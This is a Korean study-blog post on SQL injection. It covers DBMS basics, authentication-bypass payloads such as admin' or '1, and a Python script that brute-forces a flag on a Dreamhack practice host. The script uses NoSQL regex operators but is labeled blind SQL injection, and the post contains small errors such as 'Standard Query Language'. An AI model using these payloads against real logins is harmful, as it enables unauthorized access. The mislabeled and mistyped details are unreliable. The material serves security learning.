일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- CORS
- HTTP
- 서버 통신
- 세션
- prettier
- scss
- Flask 오류
- jwt
- 기본 타입
- 웹 기초
- 쿠키
- 자바
- 웹 클라이언트
- 비동기기술
- 백그라운드 실행
- 정적 타입
- 웹
- Visual Studio Code
- 타입스크립트
- eslint
- 프로디지털아카데미
- 웹 렌더링
- gatsby.js
- 예외 클래스
- Boxmodel
- 다양한 기능
- 프디아
- 동적 타입
- 웹 스크래핑
- 신한투자증권
- Today
- Total
Moon Blog
Web Background - SQL Injection 본문
- DBMS
웹 서비스는 데이터 정보를 데이터베이스 저장하고, 이를 관리하기 위해 DBMS(DataBase Management System)을 사용함, DBMS는 다수의 사람들이 동시에 데이터베이스에 접근할 수 있고, 원하는 데이터를 조회할 수 있게 도와줌
DBMS는 관계형과 비관계형으로 분류된다.
관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장함 Ex) MySQL, MariaDB, PostgreSQL, SQLite
비관계형은 테이블 형식이 아닌 키-값(key-value) 형태로 값을 저장함 Ex) MongoDB, CouchDB, Redis
관계형 DBMS를 조작하기 위해서 SQL(Standard Query Language)를 사용
SQL은 관계형 DBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안됨 (CREATE, INSERT, SELECT, UPDATE 등)
- SQL Injection
Injection 공격은 이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점을 의미함, SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있음
공격 과정은 요청자가 DBMS에 ID가 관리자인 계정으로 로그인하겠다는 요청을 SQL 문으로 보내면 DBMS에는 비밀번호 일치 여부를 검사하지 않고, 관리자의 계정을 조회한 후 요청자에게 로그인 결과를 반환하게 되는 것
- SQL injection 조작한 쿼리
1) SELECT * FROM 데이터베이스 WHERE 유저_ID = 'admin';
1번에 SQL문이 실행되는 경우 비밀번호를 확인하는 조건문이 사라짐으로 조작한 쿼리를 통해 공격이 가능함
2) SELECT * FORM 데이터베이스 WHERE 유저_ID = 'admin' or '1' and 유저_PW = ' ';
2번에 SQL문은 ID에 admin' or '1이 입력되고, 비밀번호가 입력되지 않는 경우 생성된 쿼리문으로 두개의 조건으로 나뉨
첫 번째 조건은 ID가 admin인 데이터, 두번째 조건은 이전의 식이 TURE이고, PW가 없는 경우
즉, ID가 admin인 데이터를 반환하는 문장이기 때문에 관리자 계정으로 로그인 됨
주석 종류로는 -- , # , /**/ 등이 있음
- Blind SQL Injection
DBMS가 답변 가능한 형태로 질문하면서 관리자 계정의 비밀번호를 알아내는 공격으로 비밀번호가 완성될 때까지 지속적인 질문을 통해 하나씩 맞춰가는 과정으로 진행됨
=> 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 공격 기법임
파이썬에서 requets 모듈을 활용하여 http 요청을 보내고 응답을 확인함
아래 python 코드는 Blind SQL Injection 공격 스크립트로 자동화 공격 가능함
import requests
import string
url = "http://host1.dreamhack.games:23148/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase + "{}"
result = ""
for i in range(32):
for key, value in enumerate(s):
payload = "?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={" + (result+value)
print(payload)
res = requests.get(url+payload)
if res.text.find("admin") != -1:
result += s[key]
print(result)
break
flag = "DH" + result + "}"
print(flag)
<Requests 모듈 공식 문서> https://docs.python-requests.org/en/master/
+) SQL Injection은 SELECT 말고도, UPDATE와 DELETE 기능을 활용해서 임의 데이터를 갱신하고 삭제하여 공격 가능함
Ref) https://dreamhack.io/ (dreamhack - SQL Injection)
'Web Hacking' 카테고리의 다른 글
Web Background - CSRF (0) | 2022.04.01 |
---|---|
Web Background - XSS (0) | 2022.03.30 |
Web Background - SOP, CORS (0) | 2022.03.28 |
Web Background - Cookie & Session (0) | 2022.03.28 |
Web Background - HTTP/HTTPS (0) | 2022.03.23 |